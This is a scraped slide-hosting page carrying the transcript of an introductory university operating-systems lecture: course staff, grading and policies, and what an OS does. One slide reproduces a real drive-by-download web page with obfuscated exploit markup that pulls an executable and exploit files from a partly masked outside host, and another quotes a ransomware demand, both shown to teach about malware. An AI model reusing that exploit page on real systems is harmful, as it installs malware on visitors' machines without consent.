1 / 28

CS354: Operating Systems Fall 2014

CS354: Operating Systems Fall 2014. Dongyan Xu Department of Computer Science Purdue University. General Information. Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router

Download Presentation

CS354: Operating Systems Fall 2014

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. CS354: Operating SystemsFall 2014 Dongyan Xu Department of Computer SciencePurdue University

  2. General Information Web Page: http://www.cs.purdue.edu/homes/cs354 Textbook: Douglas Comer, Operating System Design, The Xinu Approach (Linksys version) Lab platform: Xinu on Linksys router MIPS instruction set architecture

  3. Staff • Dongyan Xu (6th time teaching CS354) • Ph.D. University of Illinois at Urbana-Champaign • Full Prof. (2013-present), Assoc. Prof. (2007-13), Assist. Prof. (2001-2007) • Research: • Virtualization (VMware, Xen, KVM…) • Malware (rootkits, botnets, APTs…) defense • Cloud computing • Binary reverse engineering • Office hours (Th. 2:30pm-4:30pm, LWSN1173)

  4. Staff • Teaching Assistants • Huyue Gu • Shouyu Luo • Bo Sang • Office hours to be announced

  5. On-line Discussion Venue: Piazza Please join by accessing: https://piazza.com/purdue/fall2014/cs354 All announcements will be posted there Discussion on labs It is your responsibilityto check for official announcements, clarification of lab specification, and answers to lab-related questions. But grades will still be posted on Blackboard Learn http://www.itap.purdue.edu/learning/tools/blackboard/

  6. PSOs There are no PSO sessions this week The labs will be explained in PSOs. Attendance is not mandatory (but encouraged)

  7. Grading Grade breakdown: Midterm: 22% Final: 28% Projects: 50% In-class Quizzes: 3% bonus No written homework

  8. Late/Grading Policies • Check Blackboard Learn for grade posting • Late policy for labs • No late submission accepted, but you will have 3non-emergency Bonus Days (penalty-free) • Projects will be done individually • General discussion allowed • Must be on your own when coding starts • Don’t borrow the one you found online • I checked the code. It’s pretty bad • Will check your submissions against it

  9. Re-Grading Policy • You have 2 weeks (after the grade for a lab/quiz/exam is released) to request for re-grading • Re-grading requests for exams need to be in writing • After the re-grading period, no re-grading request will be honored.

  10. Academic Integrity Policy • Academic integrity: lifeline of education • Your projects, quizzes and exams must be your own - we have a zero tolerance policy towards cheating of any kind and any student who cheats will get • Zero for the project/quiz/exam at first offense • F grade for the course thereafter • Both the cheater and the person(s) who aided the cheater will be held responsible for the cheating

  11. Lecture Format • Help you understand important and hard OS concepts, design, and implementation • Lectures do not cover everything • Not all questions in exams are from lectures • But many (80%?) of them are  • Your responsibility • Attend lectures • Read code, textbook, lecture notes • Labs, quizzes, exams • Periodically check web page • Read/participate in Piazza discussion

  12. Course Organization OS overview Computer architecture overview Process scheduling and management Process synchronization Memory management Interrupt processing 7. Device drivers 8. File system

  13. Pre-requisite • CS250 (Computer Architecture) • CS251 (Data Structures) • CS252 (Systems Programming) • CS240 (C Programming) • Or equivalent

  14. Introduction • A computer system consists of • Hardware • System programs • Application programs 1. SABRE (IBM, 1964). The descendent of the Air Force’s fabled SAGE program, SABRE solved a problem for which computers were ideally suited: airline reservations. Just-in-time inventory tracking, real-time data management, distributed enterprise systems? SABRE and American Airlines were there first. 

  15. Interfacing with Operating System

  16. What is an Operating System (OS) It is a system program that sits between hardware and application programs. The program starts running at boot time. Who boots up the OS? BIOS self-check -> determining boot device -> first sector loaded and executed -> partition-specific boot loader loaded and executed -> OS loaded and executed

  17. What does an OS do? “To serve and to protect” It offers services that are common to all applications: Program execution, printing, windowing, file access, resource allocation It enables multitasking Allows multiple processes running at the same time It offers protection/security. E.g., a user cannot see files of other users.

  18. (Lack of) OS Security • Malware • Botnets • Worms • Why do they spread so quickly? • Spyware, keylogger, identity theft, blackmail… GREETINGS FROM GENERAL ENCRYPTION! TO PURCHASE A DECRYPTION KEY FOR YOUR HARD DISK, PLEASE SEND $100 IN SMALL UNMARKED BILLS TO BOX 2154, PANAMA CITY, PANAMA. THANK YOU. WE APPRECIATE YOUR BUSINESS

  19. A Real Incident • Upon Clicking a malicious URL • http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html <html><head><title></title></head><body> <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> try{ document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58 &#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58; //C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+ 'm::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){}</script> </body></html> MS05-002 MS03-011 MS04-013 22 unwanted programs installed without user’s consent!

  20. What does an operating system offer? Reliability Each program runs inside a “sandbox”. If the process does something wrong like writing to an invalid memory, it will receive a notification. Processes will not get out of the sandbox. The OS continues running. Fairness access to resources has to be fair across users with the same priority. Support for multiple users It allows running multiple users in the same machine simultaneously.

  21. The Operating System Zoo Mainframe OS Server OS Multiprocessor OS Personal computer OS Real-time OS Embedded OS Smartphone OS Browser OS Cloud OS OS for Oses (hypervisors) 21

  22. Windows 8 22

  23. Android 23

  24. Android Platformhttp://code.google.com/android/ The first complete, open, and free mobile platform 24

  25. Wireless Sensor Nodes 25

  26. Blue Gene/L Supercomputer 26

  27. Blue Gene/L OS 27

  28. Summary • Course overview • Policy and requirement • What is OS? • Coming up next: • Review of computer architecture and program structure

More Related